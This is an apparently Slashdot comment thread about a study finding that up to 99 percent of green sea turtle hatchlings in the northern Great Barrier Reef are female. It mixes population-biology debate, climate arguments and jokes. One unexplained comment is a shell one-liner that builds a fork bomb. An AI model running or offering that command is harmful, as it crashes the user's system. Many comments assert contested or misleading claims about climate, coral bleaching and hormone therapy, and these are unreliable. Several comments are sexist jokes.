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Sea Turtles Under Threat As Climate Change Turns Most Babies Female (futurism.com)
A new study published in the journal Current Biology found that as much as 99 percent of baby green sea turtles in warm equatorial regions are being born female. "The study took a look at turtle populations at nesting sites at Raine Island and Moulter Cay in the northern Great Barrier Reef, an area plagued with unprecedented levels of coral bleaching from high temperatures," reports Futurism. "The researchers compared these populations with sea turtles living at sites in the cooler south." From the report: Using a new, non-invasive hormone test, the researchers from the U.S. National Oceanic and Atmospheric Administration (NOAA) Fisheries Department and the Queensland Department of Environment and Heritage Protection found that while 65 -69 percent of the turtles from the southern region were female, between 86.8 and 99.8 of turtles tested in the northern region were female, depending on age. The sex of green sea turtles, along with some other species of turtles, crocodiles, and alligators, is not regulated by the introduction of sex chromosomes at key points during early development, as seen in humans and other mammals. Their sex is actually influenced by the temperature at which the eggs are incubated, with warmer temperatures more likely to lead to females. The difference between predominately male and predominately female hatchlings is only a few degrees, such as that formerly found between the cool, damp bottom of a sandy sea turtle nest and the sun-warmed top. The ages of the female turtles in the north suggest that this population has experienced temperatures that cause this imbalance since at least the 1990s. Given that the warmer temperatures seen in northern Australia have been distributed around the globe, experts predict that other sea turtle populations in warm regions are also following the same trend.
Imagine being a part of THIS 1%.
Women. Everywhere.
I'm starting to like this climate change thing.
I tend to rant.
I wonder what ad-hoc excuse the denialists will come up with this time. A mythical "pause" in the rate of increase of female sea turtles? Sea turtles that live in a specific layer of the upper atmosphere that doesn't fit the trend exactly? Sun spot effects on sea turtle embryonic development? They found a male sea turtle once, so the trend doesn't exist?
Those who do not learn from commit history are doomed to regress it.
With a 99% female population, I fear the remaining males will die from nagging.
Hmm, maybe there's an Occupy Wall street joke in there somewhere,
(male) Ninja turtles have a mega orgy
aaaaaaa
The abstract does not mention why this might be a problem. It says "results show a moderate female sex bias (65%â"69% female) in turtles originating from the cooler southern GBR nesting beaches" which indicates that there are southern beaches which are cooler. So uh, more females born, more eggs laid, more offspring, turtles spawn where turtles can spawn, and the range where they spawn changes but... what else changes?
I'm willing to accept that this might lead to too few males for a viable population, if somehow turtles are different from basically any other animal on earth, and one male can't service many females. However, the paper also says "Although increased breeding frequency, as well as polygynous behavior of male turtles, may help mitigate skewing offspring sex ratio [39], it is unknown how many (or what minimum proportion of) males is sufficient to sustain sea turtle populations."
IOW, your headline is FUD. Slashdot as usual.
"You're right," Fisheye says. "I should have set it on 'whip' or 'chop.'"
Won't the males who do survive produce offspring more likely to be male in higher temperatures. I would expect a dip in pupulation (as 1% males can't fertilise all the females) but in the long run it would correct
The rate of population growth is proportional to the size of the female population, not the male. One male can fertilize multiple females. Consequently, males are not as important to sustaining or growing the population as females are. While an entirely female turtle population would be bad, the rate of population growth is maximized at some point above 50% female. The more often turtles are to encounter each other during mating season, the fewer males are required to maximize population growth. So if you want the turtle population to grow more quickly, you want more eggs to become female (up to a point)
(This is why we traditionally sent men off to fight wars, and not women. Any society which also sent its women to fight and die would stunt its own population growth, putting itself at a numeric disadvantage in future wars. It's also why tradition says to save the "women and children first" during a disaster. So long as enough males survive to fertilize the remaining female population, the rest of the men are expendable - their deaths will have little impact on the rate of population growth.)
Warmer temperatures means more food. Females produce more eggs. One male can fertilize a LOT of eggs.
This produces more turtles to eat the food produced by warmer temperatures
So the question is "Why is what's happening in North Australia a problem?"
"Global Warming Causes Sea Turtle Population Explosion"
How many females eggs can a single male fertilize? It sounds like the previous "balanced" picture was 70% females anyways, now 86-99%, if the males can keep up fertilizing, wouldn't that mean that the "threat" they are under is exploding population (too many turtle babies)? Does the male turtle somehow take car of the babies and if so, how many can it take care of (even if not all, with more babies it still leaves a much more effective natural selection process)?
So the question is "Why is what's happening in North Australia a problem?"
Is the answer "Teenage Mutant Ninja Turtles?"
Suppose you've got a species where the female to male ratio is determined by temperature like sea turtles. And suppose that a higher temperature means more females.
Since only females can lay eggs and female egg laying is the bottleneck in population growth it seems very likely that more females means more offspring.
So this mechanism essentially says 'if the water temperature increases, increase the number of turtles'.
Which is not actually bad decision - warmer waters have more sea life, i.e. they can feed more turtles.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
And it isn't like they have been around for hundreds of millions of years and responded to climate changes all along the way. If this is the way they survive such changes perhaps the scientists should try to understand why this allows them to survive.
E Proelio Veritas.
I am sure the male turtles are happy about this
It's the only way to save them!!! Ask any government financed scientist!
A cyclic warm period in that exact location just ended. Re-run the study in 5 years and let's see what happens. You can't predict a trend from a single data point.
"We receive as friendly that which agrees with, we resist with dislike that which opposes us" - Faraday
I don't know that 100% of them will be female. I think there are living males.
What does this mean?
It looks, superficially, like the gene pool is switching into "preservation mode".
Everyone has missed this Jurassic Park moment. Just like Jeff Goldblum said when they were creating only females. Nature finds a way
. . . the question is, do they IDENTIFY as female ??? (Grin)
We live in a World of ecological balance and we evolved in that World. As it changes, it will harm us.
Sea turtles eat jellyfish. Now, if there is less jellyfish being eaten, they will multiply. And as their numbers increase .... beaches will have to be closed more often. Tourism will get clobbered and business will suffer.
It has happened before. Sea otters were hunted and killed because stupid people liked wearing a dead animal on their bodies because of status or something. Sea otters liked to eat urchins. When the urchin population ballooned they ate the kelp up. The fish that spawned in the kelp declined and the fishing industry went with it. Fish prices went up. (Fisheries are struggling even now and don't think for an instant that fish farming solves that problem.)
My point is that anti-science global warming denial conservatives don't realize that environmentalism isn't just some sort of liberal fetish Gaia worship - it's about protecting our way of life.
I'd like that to happen to humans and I was the few men left. Hell, I wouldn't need one of the few good men left, just a man. Yay.
Interesting; what evolutionary benefit does this confer?
Requiem for the American Dream
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have you seen a male sea turtles honey-do list? Their weekends are spend mowing lawns, picking up dry cleaning and fixing fences.
Hi! I make Firefox Plug-ins. Check 'em out @ https://addons.mozilla.org/en-US/firefox/addon/youtube-mp3-podcaster/
"in the northern Great Barrier Reef, an area plagued with unprecedented levels of coral bleaching from high temperatures"
So does the coral bleaching happen because of climate change or by over fertilization? If by over fertilization (and not climate change), I wonder what else might be chemically related due to over fertilization and not heat related?
Anyway, let's be careful that terrorists don't post on the internet on how to make sea turtle explosions.
And in related news Pizza prices are rising due to increased demand.
If the slight variations in temperature make 99% of hatching (identify as) female, the entire species would've died out through Ice Age, when 99% of them became males instead...
The wildest accusations made by the believers of the Global Warming is that it is only a few degrees warmer now than it was 100 years ago. If that's enough to threaten the turtles today, how did they survive the ice ages of the past?
In Soviet Washington the swamp drains you.
Sea turtles under threat as majority being born are female....
THIS IS PROBABLY THE BEST NEWS WE'VE HEARD ABOUT SEA TURTLES IN YEARS!!!!
Why?
Okay, let's just use our brains. And for a moment, in order to simplify, I am going to use humans in order to reduce the variable set (as sea turtles lay batches of eggs).
Lets say there are a 100 people. What is the maximum number of new babies that can be born?
Let's say, it was a 50/50 population of male/female. The maximum with typical births is 50 babies born.
The maximum births would be achieved by a population of 99 females, and 1 male. Yes, a single fertile male human being could fertilize 99 human females (and likely enjoy it too). Giving 99 new babies, though the human race would suffer from genetic diversity issues.
The nightmare scenario is not more females being born, but more males. If we had 99 males, and only 1 female...the birth rate is 1.
What this report really points too, is a potential rebound for sea turtles. If we have 10 to 90 ration, we are looking at potentially seeing a lot lot more sea turtles. Why might this be? Okay, they blame the warmer sea temps. And they may in fact be a factor, but lets look at the standard life equation. Population increases occur when there is habitat and food. Presently, there is talk about a increase in jellyfish populations, with some regions seeing a 40%-60% increase.
http://www.isciencetimes.com/a...
This means more availability of sea turtles prime food. Okay, so now consider the correlation. More food, turtles not having to range as far, so they're staying in the warmer regions. Big glut of jellyfish, saw one article exclaim that global warming was going to cause jellyfish to take over the ocean. So now, one of the prime predators of jellyfish is setting the stage to take advantage of this jellyfish bloom.
THIS IS GREAT NEWS!!!
***
As for the coral reef die offs/bleaching. Yes, that gets blamed on global warming. However, there are a number of scientists who have said that is a mere secondary issue. The primary cause is extremely high levels of agricultural pesticides, (designed to kill arthropods and invertebrates), that are affecting the reefs - particularly off the coast of Australia.
Similar to the bee die offs, which were repeatedly blamed on global warming, until strong evidence began showing that pesticides, such as nicotides and others were largely responsible. And with both colonies (bees and coral) what we see is a conjunction of issues. Pesticides weaken the species, which become more susceptible to illnesses (parasites particularly with bees, and a herpes virus with coral reefs).
http://e360.yale.edu/features/...
https://www.realnatural.org/dy...
***
IF YOU CARE ABOUT THE ENVIRONMENT, you need to STFU about global warming. Because whether it is occurring or not is irrelevant. (Trust me, the earth has been much warmer, life thrived, vegetation increased, deserts shrunk, granted human coastal villages and cities may be under water...but humans adapt.) However, global warming is being used to mask the multitude of real and threatening environmental problems.
> Deforestation used to be a topic. We've not stopped cutting down rainforests, nor looked at using rapid renewables such as hemp for paper or bamboo to replace our 2x4's.
> Pesticides and herbicides used to be a topic. Now, all the die off of species are blamed on global warming. Some of these chemicals are genetically destructive and can persist for decades, centuries, perhaps even milleniums.
> We used to talk about waste, landfills, etc. But we don't...we only talk about global warming.
Global warmin
Presently, there is a 40%-60% increase in jellyfish populations in many areas of the world. You are correct, sea turtles are one of their primary predators.
How do you increase the population of sea turtles very quickly? Choose the best answer.
a) Maintain the present 50/50 male/female population balance
b) Increase the male population to 80%, decrease the female population to 20%
c) Increase the female population to 80%, decrease the male population to 20%
Which of these would result in an increase in the number of sea turtles eggs being laid? And thus an increase in the population of sea turtles. And thus the addition of a balancing agent to the increase in jellyfish populations.
***
Now go back and read the article, and realize how very very stupid it is. Can we stop blaming everything on global warming.
Btw, did you know there is a significant increase in erectile dysfunction in human males, this too is caused by global warming.
The main cause of the coral reef die offs, is NOT global warming, but pesticides and agricultural runoff. But global warming lets the perpetrators of the destruction of the coral reefs to go scot free.
How many anonymous idiots can't seem to comprehend that having an increase in the population of females is how a species increases it's population, not decreases.
And why might this be for sea turtles? Well, warmer weather likely means more jellyfish. So their sex cycling is tuned to follow an increase in the jellyfish populations. And then during an ice age, when the jellyfish populations decrease, sea turtles begin to birth more males, thus beginning the reduction of their population to maintain a balance with the food supply.
This is freshman biology folks. This is science. Blaming everything on GW is NOT science.
As a young male turtle said: "This is not a problem. Believe me, it is just fine, busy yes, but fine. Gotta go, stuff to do..."
Do you understand that what we are seeing IS that balance in action?
> Jellyfish populations UP due to warmer climate.
> Sea turtles giving birth to more females to enable the population of sea turtles to increase in correlation to the increased abundance of their primary food source.
This observation is proof that the aquatic ecosystem balance is in fact WORKING, not that it is breaking.
Stop using your brain, reasonable discourse, logic, and science to make arguments against Global Warming. You're arguing from a scientific standpoint against a religious dogma. ;-)
You have violated the religious dogmas of society. You will be deleted. EXTERMINATE! EXTERMINATE!
Let's see, just put aside monogamy for a moment. How many women do you think you could fertilize in a year.
Let's really up the ante. Lets say 99% of the male population die off, and there are now a 100 women for every one man. And well, a lot of them, a really, really a lot of them want to have both sex and babies. So they're at your door lining up...
Well, if timed to ovulation (which most other species send signals to alert so mating occurs then), then they could fertilize quite a few.
I wager that I personally could probably fertilize probably 150-700 women a year. The issue is maintaining enough male specimens to ensure genetic diversity.
Science has become politics and politics has become the new religion. They funny thing is how blind you have all become to this phenomenon.
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Sea turtles have been around for hundreds of millions of years. In fact, they reached gigantic proportions during the Cretaceous period. Perhaps because of abundant food supply. I wager jellyfish thrived in the oceans when the equatorial surface water temperature reached a 108 F.
Yes you read that correctly, sea turtles existed at a time when the water temperature peaked at 108 F. Presently, the peak for equatorial surface water appears to be around 86 F. So when we exclaim that one or two degree change is going to cause destruction of the sea turtle population, while historical science shows they thrived at temperatures that were 20 degrees warmer. You kind of look like an idiot.
Back to China.
That's almost exactly the reverse of the m/f ratio in most SV companies.
"I'm willing to accept that this might lead to too few males for a viable population, if somehow turtles are different from basically any other animal on earth, and one male can't service many females. "
This statement demonstrates an incredible amount of ignorance. A huge number of animals on earth do NOT engage in polymagous behavior. Frankly, it is not true that 'one male can service many females' for many many animals, for a variety of reasons.
While it is true that physical possibility exists for most (but not all: seahorses - male caries the egg and cares for it - and the fish where the male attaches itself to the female comes to mind) animals, it is also true that many, many animals have hard coded instincts that prevent this from happening. Examples include:
Prairie Vole
Black Vultures
Hornbill birds
Red backed salamander
Azara Night Monkeys
Wolves
Otters
Eurasian Beaver
That said, sea turtles are not monogamous. So the only real problem this may result in is the difficulty is logistics. They don't have tinder and finding one another may be problematic. One male may be able to service 300 hundred females but if there is only one male born for every 500 female, then the population will drop precipitously.
If the ratio is less skewed than 1 - 500, say 1 to 3, the population would grow better than a 1-1 ratio. For every 4 turtles that survive to mate, 3 of the 4 lay eggs instead of 2, so 50% extra baby turtles.
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Their migration range will result in getting new genes in their pools. This has been happening
for a long time.
Green sea turtles take between twenty and fifty years to reach sexual maturity.
A 2C change over 100,000 years -- roughly normal for geologic history -- would almost certainly produce the kind of adaptation you are envisioning. But speed that up by a factor of one thousand and you've got a different picture. 100 years represents between two and five generations for green sea turtles. A century isn't long enough for polygenetic adaptation to this magnitude of change; the only possibility of population survival would be a single allele fix. However surviving individual male turtles don't necessarily carry that allele if it exists; many of them would have been produced the normal way, through variations in nesting circumstances.
Under the status quo emissions scenarios you have expect populations of animals like sea turtles and wild salmon to disappear. There just isn't time for evolution to work some kind of "magic".
That gives you a kind of window into a world with rapidly changing climate. It greatly favors tribble-like reproductive cycles: lots of of offspring that are reproductively viable almost immediately. So expect a world in which insects and small rodent species move into vacated terrestrial ecological niches. In the oceans look to things like jellyfish, zooplankton and bacteria increasing as large predators with vulnerable life cycles are checked.
Post may contain irony: discontinue use if experiencing mood swings, nausea or elevated blood pressure.
>A cyclic warm period in that exact location just ended. Re-run the study in 5 years and let's see what happens. You can't predict a trend from a single data point.
The trend of warming is independent of this cyclic even: http://onlinelibrary.wiley.com/doi/10.1002/2014PA002717/full
being pushed Again.
Christ APK, are you talking to yourself again?
For all the accusations you sling about sockpuppets you have no qualms of fishing for positive moderation. You don't even have an account so you aren't going to earn any karma for this, it is entirely driven by your warped ego.
ZIP
Aye, sea turtles.
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Thanks for the link. FTA: "Individual coral records generally show a high level of fidelity in capturing seasonal to interannual climate variability in their geochemical signals [e.g., Felis et al., 2004; Giry et al., 2012]. Because coral extension rates are generally thought to be relatively constant throughout the year except under extreme conditions [Lough and Cooper, 2011], seasonal growth biases arising from uniform sampling of the archive are believed to be minimal at most locations. In locations where seasonally suboptimal conditions do have the potential to bias coral growth toward a particular season [e.g., DeLong et al., 2014], this can be ameliorated by using monthly to seasonal sampling and intraannual age modeling to yield records that are representative of the annual mean [Quinn et al., 1996; Leder et al., 1996; Quinn et al., 1998; Evans et al., 2000; Swart et al., 2002]."
Sounds like an el Nino event would definitely have a measurable impact, which I think pretty strongly argues for longitudinal studies.
"We receive as friendly that which agrees with, we resist with dislike that which opposes us" - Faraday
The problem is that the risk of inbreeding increase when either lot is lesser then the other, and while spices can inbreed for some successions when the stars align just right without any severe decline in the offspring when the original subjects are a great match this is not absolutely not how a species is kept from degenerative status as recessive traits are sure to come.
So this is terrible news.
Species does not adapt. The need does not create the function.
The individuals who are adapted survive. Mutation are random. Most are detrimental (A lot of embryos do not develop). Some are neutral. A very small fraction is advantageous. Then, the ones in individuals reproducing sufficiently gets fixed in the population, this is called natural selection an not natural adaptation.
Please stop with adaptation, life do not adapt.
Won't the males who do survive produce offspring more likely to be male in higher temperatures.
It should do since turtles have been around for the past 200+ million years which has included more than a few ice ages and warmer periods. Human-induced climate change is a serious issue but half-true stories like this designed to imply a looming disaster just play right into the hands of the denialists.
A 2C change over 100,000 years -- roughly normal for geologic history -- would almost certainly produce the kind of adaptation you are envisioning.
According to this article Ice Ages turn on a LOT faster than this. The article claims that it was originally thought it took a decade or two, now they have it down to a matter of months (if correct). Human-induced climate change seems to be on the order of decades.
Whether or by how much the Earth is warming or cooling is irrelevant to this study. That's a completely bogus connection. Let's use a little logic here without the emotion.
Sea turtle sex is determined by temperature. What did the scientists find? That sea turtles hatched in the hot, hot, hot, hot equatorial regions are mostly female and sea turtles hatched in cooler regions were still majority female, but less so. Duh, the scientists just "re-discovered" that temperature determines the sex of baby turtles.
The real question should be: How do the current sex percentages compare to 20, 40, 60, 100, 200, 500, 1000 years ago? The scientists have no idea because there are no records from those time periods. In fact, the percentage of females could ACTUALLY BE GOING DOWN due to global cooling based on the fact there is no historical information.
What about the "OH MY GOD THERE WILL SOON ALL BE FEMALE AND GO EXTINCT!!!" hysteria?
Well, how long have sea turtles been in existence? Google says 65 million years. How much hotter has the Earth been during those 65 million years? According to Wikipedia it's been up to 25 DEGREES FAHRENHEIT (14 DEGREES CELSIUS) HOTTER than today!!! Oh my god, the sea turtles all went female and went extinct a long time ago!!! Wait, no they didn't...
Warming could definitely be happening. After all, we've been warming for the most part ever since the last ice age ended. But global warming hysteria is just the latest end-of-the-world cult that crops up anew every few generations. Emotion takes over and reason goes out the door. Cultists look for "signs of the end" everywhere and make connections between events where there is no connection. Priests of the cult (like Al Gore) meanwhile get rich off the cultists.
For example, Al Gore has made tens of millions off the cult and would have made hundreds of millions overnight had the US passed the carbon tax credit law which is also a very old religious trick that priests play on cultists where they tell their cult victims they have sinned against the gods and will be punished, but by giving the priest money they can not only be forgiven by the gods, but the gods will allow them to continue to sin as long as they keep giving the priests money. Most people living today are no more self-aware than superstitious villagers who lived thousands of years ago. Today it is the global warming cult. I guarantee you in 50 years it'll be a brand new cult.
Just incubate sea turtles in the lab as male and set them loose in the ocean to make equilibrium.
... and we could be up to our waists in new sea turtles..
A new study published in the journal Current Biology found that as much as 99 percent of baby green sea turtles in warm equatorial regions are being born female.
Coincidentally, I've got 99 problems.
Breakfast served all day!
Which taste better, the males or the females?
--
I'm just trying to think about the future and not be sad.
A higher female to male ratio improves thr species reproduction rate!
Just because you are unable to grasp science does not make it untrue.
Really?
WRT the article it seems reasonable to ask: why has nature evolved the observed gender bias/temp correlation? does the gender bias plateau? is the gender bias 'fixed' or will it too evolve to the change? Those questions are not answered so a prediction seems more like a linear guess than anything else.
For example:
If you took a sampling of domesticated chickens from chicken factories over the past three decades you would have noticed a staggering increase in breast size that alarmingly coincides with all the indicators of climate change. The conclusion in the absence of other information is that the two are correlated and that at current rates chicken breast sizes will increase linearly over the coming decades.
Preposterous, right? Because you know that there are other factors causing the increase (well studied and bona fide without doubt human caused) and there _is_ a limit to how big a chicken's breast can be before the body can no longer sustain it.
So what is it we still don't know about the climate and the turtle gender bias? Right, we don't know what we don't know. So do some more research before grabbing headlines with alarming predictions or (more infuriatingly) calling for a cessation of change (and/or proposing solutions to something marginally understood).
"Consensus" in science is _always_ a political construct.
Because they use a technique of determining sex ratios WITHOUT HAVING TO KILL BABY TURTLES! Imagine that, they killed turtles in earlier studies to determine what the sex ratio of the hatchlings was. Mind boggling.
"There are several challenges with directly estimating sex ratio at rookeries. At present, hatchling sex determination can be achieved reliably through histological examination of the gonads, but the sacrifice of live hatchlings carries ethical implications, and there is possible sampling bias in examining dead hatchlings found in nests [2, 22]. "
Also the suggestion is that their technique is much more accurate which implies that prior work is less accurate. Hence it is possible their findings are simply the first correct view of a situation that has existed for millenia and we simply haven't been able to observe it properly. In other words, no doom and gloom and hence a pretty FUD headline.
"Consensus" in science is _always_ a political construct.
Is epidemic. That's what's turning the turtles female.
All the pharmaceuticals are in the water.
Estrogen replacement therapy drugs are obtained by confining female horses (Mares) and restricting their water intake to concentrate their urine. They are consistently breed to maintain pregnancy from the time of breeding age and then sent to the killer trucks when they don't produce estrogen anymore.
The female babies (fillies) are put into estrogen production slavery and the males (colts) are discarded, often weaned way to early too as not interfere with the estrogen collection process.
It's animal abuse.
Women need to face the fact that they are getting older - estrogen replacement therapy is unnatural and causes cancer and strokes.
Deal with it ladies.
donate to: http://www.neavs.org/campaigns/humane-hormone-replacement-therapy
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